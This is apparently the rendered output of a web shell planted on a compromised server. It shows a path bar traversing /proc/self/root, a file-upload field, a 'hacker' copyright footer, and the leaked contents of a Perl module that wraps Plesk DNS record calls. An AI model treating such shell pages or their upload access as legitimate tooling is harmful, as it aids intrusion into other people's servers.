CHips L MINI SHELL

CHips L pro

Current Path : /proc/self/root/proc/3/task/3/cwd/usr/local/rvglobalsoft/rvglobalsoft/lib/RVL/CPAPI/Plesk/
Upload File :
Current File : //proc/self/root/proc/3/task/3/cwd/usr/local/rvglobalsoft/rvglobalsoft/lib/RVL/CPAPI/Plesk/DNS.pm

#!/use/bin/perl
package RVL::CPAPI::Plesk::DNS;
##LICENSE##

use strict;
use warnings;

use Carp;

use base 'RVL::CPAPI::Plesk::Component';

sub add_rec {
    my ( $self, %params ) = @_;
    my $bulk_send = delete $params{bulk_send};

    my @fields = (
        [qw(site-id site-alias-id)],
        'type',
        'host',
        'value'
    );

    $self->check_required_params(\%params, @fields);
    my $data = $self->sort_params(\%params, @fields, 'opt');

    return $bulk_send ? $data : 
        $self->plesk->send('dns', 'add_rec', $data);
}

sub get_rec {
    my ( $self, %filter ) = @_;
    my $bulk_send = delete $filter{bulk_send};
    my $template = delete $filter{template};
    

    my $data = [
        { filter  => @_ > 2 ? \%filter : '' },
        ( $template ? {template => $template} : () ),
    ];

    return $bulk_send ? $data : 
        $self->plesk->send('dns', 'get_rec', $data);
}

sub del_rec {
    my ( $self, %filter ) = @_;
    my $bulk_send = delete $filter{bulk_send};
    my $template = delete $filter{template};

    my $data = [
        { filter  => $self->prepare_filter(\%filter) },
        ( $template ? {template => $template} : () ),
    ];

    return $bulk_send ? $data : 
        $self->plesk->send('dns', 'del_rec', $data);
}

1;

Copyright 2K16 - 2K18 Indonesian Hacker Rulez